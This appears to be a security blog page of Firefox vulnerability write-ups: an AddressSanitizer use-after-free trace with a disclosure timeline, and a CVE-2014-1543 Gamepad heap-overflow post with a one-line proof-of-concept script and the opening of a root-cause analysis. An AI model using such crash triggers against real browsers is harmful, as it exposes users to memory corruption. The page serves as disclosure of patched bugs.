================================================================= ==12341==ERROR: AddressSanitizer: heap-use-after-free on address 0x611000206c40 at pc 0x7f9d2f6f0ba2 bp 0x7f9d0ecea7d0 sp 0x7f9d0ecea7c8 READ of size 8 at 0x611000206c40 thread T23 (DOM Worker)    #0 0x7f9d2f6f0ba1 in CanonicalizeXPCOMParticipant /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/base/nsCycleCollector.cpp:930    #1 0x7f9d2f6f0ba1 in CCGraphBuilder::NoteXPCOMChild(nsISupports*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/base/nsCycleCollector.cpp:2332    #2 0x7f9d2f6e3876 in mozilla::CycleCollectedJSRuntime::TraverseGCThing(mozilla::CycleCollectedJSRuntime::TraverseSelect, JS::GCCellPtr, nsCycleCollectionTraversalCallback&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/base/CycleCollectedJSRuntime.cpp:664    #3 0x7f9d2f6e3417 in mozilla::JSGCThingParticipant::Traverse(void*, nsCycleCollectionTraversalCallback&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/base/CycleCollectedJSRuntime.cpp:353    #4 0x7f9d2f6ef234 in CCGraphBuilder::BuildGraph(js::SliceBudget&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/base/nsCycleCollector.cpp:2239    #5 0x7f9d2f6f4487 in nsCycleCollector::MarkRoots(js::SliceBudget&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/base/nsCycleCollector.cpp:2839    #6 0x7f9d2f6f9337 in nsCycleCollector::Collect(ccType, js::SliceBudget&, nsICycleCollectorListener*, bool) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/base/nsCycleCollector.cpp:3603    #7 0x7f9d2f6fc92a in nsCycleCollector_collect(nsICycleCollectorListener*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/base/nsCycleCollector.cpp:4098    #8 0x7f9d2f6e71ac in mozilla::CycleCollectedJSRuntime::OnGC(JSGCStatus) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/base/CycleCollectedJSRuntime.cpp:1262    #9 0x7f9d3893ff8c in js::gc::GCRuntime::collect(bool, js::SliceBudget, JS::gcreason::Reason) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/jsgc.cpp:6189    #10 0x7f9d38940929 in js::gc::GCRuntime::gc(JSGCInvocationKind, JS::gcreason::Reason) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/jsgc.cpp:6245    #11 0x7f9d3885d621 in js::DestroyContext(JSContext*, js::DestroyContextMode) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/jscntxt.cpp:185    #12 0x7f9d346954c8 in (anonymous namespace)::WorkerThreadPrimaryRunnable::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/workers/RuntimeService.cpp:2823    #13 0x7f9d2f7f70b4 in nsThread::ProcessNextEvent(bool, bool*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/threads/nsThread.cpp:866    #14 0x7f9d2f8586ca in NS_ProcessNextEvent(nsIThread*, bool) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/glue/nsThreadUtils.cpp:265    #15 0x7f9d300b4538 in mozilla::ipc::MessagePumpForNonMainThreads::Run(base::MessagePump::Delegate*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/glue/MessagePump.cpp:355    #16 0x7f9d30040b1c in RunInternal /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:233    #17 0x7f9d30040b1c in RunHandler /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:226    #18 0x7f9d30040b1c in MessageLoop::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:200    #19 0x7f9d2f7f3ba8 in nsThread::ThreadFunc(void*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/threads/nsThread.cpp:362    #20 0x7f9d3bf30135 in _pt_root /builds/slave/m-cen-l64-asan-000000000000000/build/src/nsprpub/pr/src/pthreads/ptthread.c:212    #21 0x7f9d3c570181 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x8181)    #22 0x7f9d2d3db30c (/lib/x86_64-linux-gnu/libc.so.6+0xfb30c) 0x611000206c40 is located 0 bytes inside of 232-byte region [0x611000206c40,0x611000206d28) freed by thread T23 (DOM Worker) here:    #0 0x474a01 in free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:64    #1 0x7f9d2f6f402d in SnowWhiteKiller::~SnowWhiteKiller() /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/base/nsCycleCollector.cpp:2639    #2 0x7f9d2f6f3c5e in nsCycleCollector::FreeSnowWhite(bool) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/base/nsCycleCollector.cpp:2807    #3 0x7f9d2f6f9d0e in nsCycleCollector::BeginCollection(ccType, nsICycleCollectorListener*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/base/nsCycleCollector.cpp:3774    #4 0x7f9d2f6f9325 in nsCycleCollector::Collect(ccType, js::SliceBudget&, nsICycleCollectorListener*, bool) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/base/nsCycleCollector.cpp:3599    #5 0x7f9d2f6fc92a in nsCycleCollector_collect(nsICycleCollectorListener*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/base/nsCycleCollector.cpp:4098    #6 0x7f9d2f6e71ac in mozilla::CycleCollectedJSRuntime::OnGC(JSGCStatus) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/base/CycleCollectedJSRuntime.cpp:1262    #7 0x7f9d3893ff8c in js::gc::GCRuntime::collect(bool, js::SliceBudget, JS::gcreason::Reason) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/jsgc.cpp:6189    #8 0x7f9d38940929 in js::gc::GCRuntime::gc(JSGCInvocationKind, JS::gcreason::Reason) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/jsgc.cpp:6245    #9 0x7f9d3885d621 in js::DestroyContext(JSContext*, js::DestroyContextMode) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/jscntxt.cpp:185    #10 0x7f9d346954c8 in (anonymous namespace)::WorkerThreadPrimaryRunnable::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/workers/RuntimeService.cpp:2823    #11 0x7f9d2f7f70b4 in nsThread::ProcessNextEvent(bool, bool*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/threads/nsThread.cpp:866    #12 0x7f9d2f8586ca in NS_ProcessNextEvent(nsIThread*, bool) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/glue/nsThreadUtils.cpp:265    #13 0x7f9d300b4538 in mozilla::ipc::MessagePumpForNonMainThreads::Run(base::MessagePump::Delegate*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/glue/MessagePump.cpp:355    #14 0x7f9d30040b1c in RunInternal /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:233    #15 0x7f9d30040b1c in RunHandler /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:226    #16 0x7f9d30040b1c in MessageLoop::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:200    #17 0x7f9d2f7f3ba8 in nsThread::ThreadFunc(void*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/threads/nsThread.cpp:362    #18 0x7f9d3bf30135 in _pt_root /builds/slave/m-cen-l64-asan-000000000000000/build/src/nsprpub/pr/src/pthreads/ptthread.c:212    #19 0x7f9d3c570181 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x8181) previously allocated by thread T23 (DOM Worker) here:    #0 0x474c01 in __interceptor_malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:74    #1 0x4921cd in moz_xmalloc /builds/slave/m-cen-l64-asan-000000000000000/build/src/memory/mozalloc/mozalloc.cpp:83    #2 0x7f9d34721af5 in operator new /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dom/workers/../../dist/include/mozilla/mozalloc.h:186    #3 0x7f9d34721af5 in mozilla::dom::workers::XMLHttpRequest::Constructor(mozilla::dom::GlobalObject const&, mozilla::dom::MozXMLHttpRequestParameters const&, mozilla::ErrorResult&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/workers/XMLHttpRequest.cpp:1646    #4 0x7f9d32c5bcb0 in mozilla::dom::XMLHttpRequestBinding_workers::_constructor(JSContext*, unsigned int, JS::Value*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dom/bindings/./XMLHttpRequestBinding.cpp:3175    #5 0x7f9d37e10a4e in CallJSNative /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/jscntxtinlines.h:235    #6 0x7f9d37e10a4e in CallJSNativeConstructor /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/jscntxtinlines.h:268    #7 0x7f9d37e10a4e in js::InvokeConstructor(JSContext*, JS::CallArgs) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:822    #8 0x7f9d37e0118b in Interpret(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:2953    #9 0x7f9d37de2879 in js::RunScript(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:677    #10 0x7f9d37e11fdd in js::ExecuteKernel(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value const&, js::ExecuteType, js::AbstractFramePtr, JS::Value*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:903    #11 0x7f9d37e12624 in js::Execute(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:942    #12 0x7f9d3887e81a in Evaluate(JSContext*, JS::Handle<JSObject*>, JS::ReadOnlyCompileOptions const&, JS::SourceBufferHolder&, JS::MutableHandle<JS::Value>) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/jsapi.cpp:4258    #13 0x7f9d3468c7f1 in (anonymous namespace)::ScriptExecutorRunnable::WorkerRun(JSContext*, mozilla::dom::workers::WorkerPrivate*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/workers/ScriptLoader.cpp:1662    #14 0x7f9d347122cd in mozilla::dom::workers::WorkerRunnable::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/workers/WorkerRunnable.cpp:357    #15 0x7f9d2f7f70b4 in nsThread::ProcessNextEvent(bool, bool*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/threads/nsThread.cpp:866    #16 0x7f9d2f8586ca in NS_ProcessNextEvent(nsIThread*, bool) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/glue/nsThreadUtils.cpp:265    #17 0x7f9d346fb577 in mozilla::dom::workers::WorkerPrivate::RunCurrentSyncLoop() /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/workers/WorkerPrivate.cpp:6038    #18 0x7f9d34675554 in Run /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/workers/WorkerPrivate.h:1439    #19 0x7f9d34675554 in (anonymous namespace)::LoadAllScripts(JSContext*, mozilla::dom::workers::WorkerPrivate*, nsTArray<(anonymous namespace)::ScriptLoadInfo>&, bool, mozilla::dom::workers::WorkerScriptType) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/workers/ScriptLoader.cpp:1743    #20 0x7f9d34674f65 in mozilla::dom::workers::scriptloader::LoadMainScript(JSContext*, nsAString_internal const&, mozilla::dom::workers::WorkerScriptType) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/workers/ScriptLoader.cpp:1838    #21 0x7f9d34752381 in (anonymous namespace)::CompileScriptRunnable::WorkerRun(JSContext*, mozilla::dom::workers::WorkerPrivate*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/workers/WorkerPrivate.cpp:1058    #22 0x7f9d347122cd in mozilla::dom::workers::WorkerRunnable::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/workers/WorkerRunnable.cpp:357    #23 0x7f9d2f7f70b4 in nsThread::ProcessNextEvent(bool, bool*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/threads/nsThread.cpp:866    #24 0x7f9d2f8586ca in NS_ProcessNextEvent(nsIThread*, bool) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/glue/nsThreadUtils.cpp:265    #25 0x7f9d346f20c3 in mozilla::dom::workers::WorkerPrivate::DoRunLoop(JSContext*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/workers/WorkerPrivate.cpp:5207    #26 0x7f9d34695412 in (anonymous namespace)::WorkerThreadPrimaryRunnable::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/workers/RuntimeService.cpp:2803    #27 0x7f9d2f7f70b4 in nsThread::ProcessNextEvent(bool, bool*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/threads/nsThread.cpp:866    #28 0x7f9d2f8586ca in NS_ProcessNextEvent(nsIThread*, bool) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/glue/nsThreadUtils.cpp:265    #29 0x7f9d300b4538 in mozilla::ipc::MessagePumpForNonMainThreads::Run(base::MessagePump::Delegate*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/glue/MessagePump.cpp:355    #30 0x7f9d30040b1c in RunInternal /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:233    #31 0x7f9d30040b1c in RunHandler /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:226    #32 0x7f9d30040b1c in MessageLoop::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:200    #33 0x7f9d2f7f3ba8 in nsThread::ThreadFunc(void*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/threads/nsThread.cpp:362    #34 0x7f9d3bf30135 in _pt_root /builds/slave/m-cen-l64-asan-000000000000000/build/src/nsprpub/pr/src/pthreads/ptthread.c:212    #35 0x7f9d3c570181 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x8181) Thread T23 (DOM Worker) created by T0 (Web Content) here:    #0 0x461475 in pthread_create /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:175    #1 0x7f9d3bf2cabd in _PR_CreateThread /builds/slave/m-cen-l64-asan-000000000000000/build/src/nsprpub/pr/src/pthreads/ptthread.c:453    #2 0x7f9d3bf2c63a in PR_CreateThread /builds/slave/m-cen-l64-asan-000000000000000/build/src/nsprpub/pr/src/pthreads/ptthread.c:544    #3 0x7f9d2f7f4f0b in nsThread::Init() /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/threads/nsThread.cpp:476    #4 0x7f9d3471c48a in mozilla::dom::workers::WorkerThread::Create(mozilla::dom::workers::WorkerThreadFriendKey const&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/workers/WorkerThread.cpp:90    #5 0x7f9d34669316 in mozilla::dom::workers::RuntimeService::ScheduleWorker(JSContext*, mozilla::dom::workers::WorkerPrivate*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/workers/RuntimeService.cpp:1751    #6 0x7f9d34666a44 in mozilla::dom::workers::RuntimeService::RegisterWorker(JSContext*, mozilla::dom::workers::WorkerPrivate*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/workers/RuntimeService.cpp:1605    #7 0x7f9d346f0a9e in mozilla::dom::workers::WorkerPrivate::Constructor(JSContext*, nsAString_internal const&, bool, mozilla::dom::WorkerType, nsACString_internal const&, mozilla::dom::workers::WorkerLoadInfo*, mozilla::ErrorResult&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/workers/WorkerPrivate.cpp:4781    #8 0x7f9d3466f2bc in mozilla::dom::workers::RuntimeService::CreateSharedWorkerFromLoadInfo(JSContext*, mozilla::dom::workers::WorkerLoadInfo*, nsAString_internal const&, nsACString_internal const&, mozilla::dom::WorkerType, mozilla::dom::workers::SharedWorker**) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/workers/RuntimeService.cpp:2428    #9 0x7f9d3466eb7e in mozilla::dom::workers::RuntimeService::CreateSharedWorkerInternal(mozilla::dom::GlobalObject const&, nsAString_internal const&, nsACString_internal const&, mozilla::dom::WorkerType, mozilla::dom::workers::SharedWorker**) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/workers/RuntimeService.cpp:2379    #10 0x7f9d346d803a in CreateSharedWorker /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/workers/RuntimeService.h:142    #11 0x7f9d346d803a in mozilla::dom::workers::SharedWorker::Constructor(mozilla::dom::GlobalObject const&, JSContext*, nsAString_internal const&, mozilla::dom::Optional<nsAString_internal> const&, mozilla::ErrorResult&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/workers/SharedWorker.cpp:69    #12 0x7f9d3286f68d in mozilla::dom::SharedWorkerBinding::_constructor(JSContext*, unsigned int, JS::Value*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dom/bindings/./SharedWorkerBinding.cpp:233    #13 0x7f9d37e10a4e in CallJSNative /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/jscntxtinlines.h:235    #14 0x7f9d37e10a4e in CallJSNativeConstructor /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/jscntxtinlines.h:268    #15 0x7f9d37e10a4e in js::InvokeConstructor(JSContext*, JS::CallArgs) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:822    #16 0x7f9d37e112a8 in js::InvokeConstructor(JSContext*, JS::Value, unsigned int, JS::Value const*, JS::MutableHandle<JS::Value>) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:837    #17 0x7f9d3828f8de in js::jit::DoCallFallback(JSContext*, js::jit::BaselineFrame*, js::jit::ICCall_Fallback*, unsigned int, JS::Value*, JS::MutableHandle<JS::Value>) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/jit/BaselineIC.cpp:10410    #18 0x7f9d382b2a6d in EnterBaseline(JSContext*, js::jit::EnterJitData&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/jit/BaselineJIT.cpp:124    #19 0x7f9d382b396a in js::jit::EnterBaselineAtBranch(JSContext*, js::InterpreterFrame*, unsigned char*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/jit/BaselineJIT.cpp:212    #20 0x7f9d37e05096 in Interpret(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:1986    #21 0x7f9d37de2879 in js::RunScript(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:677    #22 0x7f9d37e11fdd in js::ExecuteKernel(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value const&, js::ExecuteType, js::AbstractFramePtr, JS::Value*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:903    #23 0x7f9d37e12624 in js::Execute(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:942    #24 0x7f9d3887e81a in Evaluate(JSContext*, JS::Handle<JSObject*>, JS::ReadOnlyCompileOptions const&, JS::SourceBufferHolder&, JS::MutableHandle<JS::Value>) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/jsapi.cpp:4258    #25 0x7f9d3887ef7f in Evaluate /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/jsapi.cpp:4285    #26 0x7f9d3887ef7f in JS::Evaluate(JSContext*, JS::AutoVectorRooter<JSObject*>&, JS::ReadOnlyCompileOptions const&, JS::SourceBufferHolder&, JS::MutableHandle<JS::Value>) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/jsapi.cpp:4340    #27 0x7f9d31b5ffaa in nsJSUtils::EvaluateString(JSContext*, JS::SourceBufferHolder&, JS::Handle<JSObject*>, JS::CompileOptions&, nsJSUtils::EvaluateOptions const&, JS::MutableHandle<JS::Value>, void**) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/base/nsJSUtils.cpp:265    #28 0x7f9d31b60edb in nsJSUtils::EvaluateString(JSContext*, JS::SourceBufferHolder&, JS::Handle<JSObject*>, JS::CompileOptions&, void**) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/base/nsJSUtils.cpp:337    #29 0x7f9d31be32ff in nsScriptLoader::EvaluateScript(nsScriptLoadRequest*, JS::SourceBufferHolder&, void**) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/base/nsScriptLoader.cpp:1146    #30 0x7f9d31be0a21 in nsScriptLoader::ProcessRequest(nsScriptLoadRequest*, void**) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/base/nsScriptLoader.cpp:975    #31 0x7f9d31bda167 in nsScriptLoader::ProcessScriptElement(nsIScriptElement*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/base/nsScriptLoader.cpp:764    #32 0x7f9d31bd57ce in nsScriptElement::MaybeProcessScript() /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/base/nsScriptElement.cpp:141    #33 0x7f9d3100f894 in operator-> /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/base/nsIScriptElement.h:221    #34 0x7f9d3100f894 in nsHtml5TreeOpExecutor::RunScript(nsIContent*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/parser/html/nsHtml5TreeOpExecutor.cpp:663    #35 0x7f9d3100dd81 in nsHtml5TreeOpExecutor::RunFlushLoop() /builds/slave/m-cen-l64-asan-000000000000000/build/src/parser/html/nsHtml5TreeOpExecutor.cpp:488    #36 0x7f9d3101483b in nsHtml5ExecutorFlusher::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/parser/html/nsHtml5StreamParser.cpp:127    #37 0x7f9d2f7f70b4 in nsThread::ProcessNextEvent(bool, bool*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/threads/nsThread.cpp:866    #38 0x7f9d2f8586ca in NS_ProcessNextEvent(nsIThread*, bool) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/glue/nsThreadUtils.cpp:265    #39 0x7f9d300b3538 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/glue/MessagePump.cpp:127    #40 0x7f9d30040b1c in RunInternal /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:233    #41 0x7f9d30040b1c in RunHandler /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:226    #42 0x7f9d30040b1c in MessageLoop::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:200    #43 0x7f9d34b7d397 in nsBaseAppShell::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/widget/nsBaseAppShell.cpp:165    #44 0x7f9d3674ea32 in XRE_RunAppShell /builds/slave/m-cen-l64-asan-000000000000000/build/src/toolkit/xre/nsEmbedFunctions.cpp:738    #45 0x7f9d30040b1c in RunInternal /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:233    #46 0x7f9d30040b1c in RunHandler /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:226    #47 0x7f9d30040b1c in MessageLoop::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:200    #48 0x7f9d3674e14e in XRE_InitChildProcess /builds/slave/m-cen-l64-asan-000000000000000/build/src/toolkit/xre/nsEmbedFunctions.cpp:575    #49 0x48d292 in content_process_main(int, char**) /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/app/../contentproc/plugin-container.cpp:236    #50 0x7f9d2d301ec4 (/lib/x86_64-linux-gnu/libc.so.6+0x21ec4) SUMMARY: AddressSanitizer: heap-use-after-free /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/base/nsCycleCollector.cpp:930 CanonicalizeXPCOMParticipant Shadow bytes around the buggy address:  0x0c2280038d30: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd  0x0c2280038d40: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd  0x0c2280038d50: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa  0x0c2280038d60: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd  0x0c2280038d70: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd =>0x0c2280038d80: fa fa fa fa fa fa fa fa[fd]fd fd fd fd fd fd fd  0x0c2280038d90: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd  0x0c2280038da0: fd fd fd fd fd fa fa fa fa fa fa fa fa fa fa fa  0x0c2280038db0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  0x0c2280038dc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  0x0c2280038dd0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes):  Addressable:           00  Partially addressable: 01 02 03 04 05 06 07  Heap left redzone:       fa  Heap right redzone:      fb  Freed heap==12341==ABORTING [Parent 12162] WARNING: pipe error (45): Connection reset by peer: file /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/chrome/common/ipc_channel_posix.cc, line 459
Timeline:
2015-05-20. This bug was reported to Mozilla as  Bug 1166924 .
2015-05-28. Mozilla engineer fixed this bug in Firefox 41.
2015-06-02. Mozilla engineer ported the fix to all other affected versions.
2015-07-02. Mozilla published Advisory MFSA 2015-65.
0 notes
loobeny · 8 years ago
Text
CVE-2014-1543 Firefox Heap buffer overflow by Gamepad API
Summary
Simply calling a Gamepad API navigator.getGamepads() can trigger a heap memory corruption in Firefox browser. No user interaction with gamepad. However,  there must be either some physical game pad attached to user’s machine or virtual gampad driver (e.g. vJoy) installed on user’s machine.
Affected version:  Firefox 29 , Firefox 30 , Firefox 31
OS: Windows
Proof Of Concept 
<script> navigator.getGamepads(); </script>
 Root Cause Analysis
I built the firefox code with Visual Studio. Initially when running the Proof Of Concept test case, Windows heap reported a heap memory corruption:
Critical error detected c0000374 firefox.exe has triggered a breakpoint. First-chance exception at 0x7771AA3C (ntdll.dll) in firefox.exe: 0xC0000374: A heap has been corrupted (parameters: 0x7772FE38). Unhandled exception at 0x7771AA3C (ntdll.dll) in firefox.exe: 0xC0000374: A heap has been corrupted (parameters: 0x7772FE38).
Call Stack:
ntdll.dll!_RtlReportCriticalFailure@8() Unknown ntdll.dll!_RtlpReportHeapFailure@4() Unknown ntdll.dll!_RtlpLogHeapFailure@24() Unknown ntdll.dll!@RtlpLowFragHeapAllocFromContext@16() Unknown ntdll.dll!_RtlAllocateHeap@12() Unknown msvcr120.dll!malloc(unsigned int size) Line 92 C > mozalloc.dll!moz_xmalloc(unsigned int size) Line 52 C++ xul.dll!nsTArray_base<nsTArrayInfallibleAllocator,nsTArray_CopyWithMemutils>::EnsureCapacity(unsigned int capacity, unsigned int elemSize) Line 119 C++ xul.dll!mozilla::dom::Gamepad::Gamepad(nsISupports * aParent, const nsAString_internal & aID, unsigned int aIndex, mozilla::dom::GamepadMappingType aMapping, unsigned int aNumButtons, unsigned int aNumAxes) Line 36 C++ xul.dll!mozilla::dom::Gamepad::Clone(nsISupports * aParent) Line 101 C++ xul.dll!mozilla::dom::GamepadService::SetWindowHasSeenGamepad(nsGlobalWindow * aWindow, unsigned int aIndex, bool aHasSeen) Line 457 C++ xul.dll!mozilla::dom::GamepadService::NewAxisMoveEvent(unsigned int aIndex, unsigned int aAxis, double aValue) Line 287 C++ xul.dll!`anonymous namespace'::GamepadEvent::Run() Line 278 C++ xul.dll!nsThread::ProcessNextEvent(bool mayWait, bool * result) Line 715 C++ xul.dll!NS_ProcessNextEvent(nsIThread * thread, bool mayWait) Line 263 C++ xul.dll!mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate * aDelegate) Line 136 C++ xul.dll!MessageLoop::RunHandler() Line 223 C++ xul.dll!MessageLoop::Run() Line 197 C++ xul.dll!nsBaseAppShell::Run() Line 166 C++ xul.dll!nsAppShell::Run() Line 188 C++ xul.dll!nsAppStartup::Run() Line 279 C++ xul.dll!XREMain::XRE_mainRun() Line 4019 C++ xul.dll!NS_TableDrivenQI(void * aThis, const nsID & aIID, void * * aInstancePtr, const QITableEntry * entries) Line 17 C++ xul.dll!nsComponentManagerImpl::QueryInterface(const nsID & aIID, void * * aInstancePtr) Line 823 C++ xul.dll!nsQueryInterface::operator()(const nsID & aIID, void * * answer) Line 19 C++ xul.dll!nsCOMPtr_base::assign_from_qi(const nsQueryInterface qi, const nsID & iid) Line 56 C++
However, the memory corruption was not reported at the very first time of illegal memory write, but instead the next memory allocation or memory free operation for some other unrelated object was requested. So I got different stack trace each time running the test case.
Fortunately, Windows has another awesome built in heap debugging tool - Page Heap.
